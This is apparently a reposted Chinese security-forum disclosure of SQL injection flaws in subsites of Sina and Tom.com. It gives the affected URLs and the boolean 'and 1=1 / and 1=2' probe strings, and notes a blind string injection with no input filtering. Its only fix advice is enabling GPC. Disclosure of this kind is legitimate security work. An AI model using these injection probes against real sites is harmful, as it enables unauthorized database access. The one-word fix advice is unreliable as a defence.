Sina.Com某分站及Tom某分钟注入 - 网站安全 - 自学

sina的   挺弱的一个洞应该算是BUG了，猪肉没用的。 详细说明：http://wap.sina测试数据.cn/cms/demo.php?pid=3075&from=874   太弱。 http://wap.sina测试数据.cn/cms/demo.php?pid=3075%20and%201=1&from=874 http://wap.sina测试数据.cn/cms/demo.php?pid=3075%20and%201=2&from=874   作者0x0F       tom的   字符串盲注入，未开启GPC 没有任何过滤 http://dgbest.tom测试数据/news.php?id=32947 id参数存在字符串型 盲注 漏洞   修复方案： gpc   作者  Matt

查看更多关于Sina.Com某分站及Tom某分钟注入 - 网站安全 - 自学的详细内容...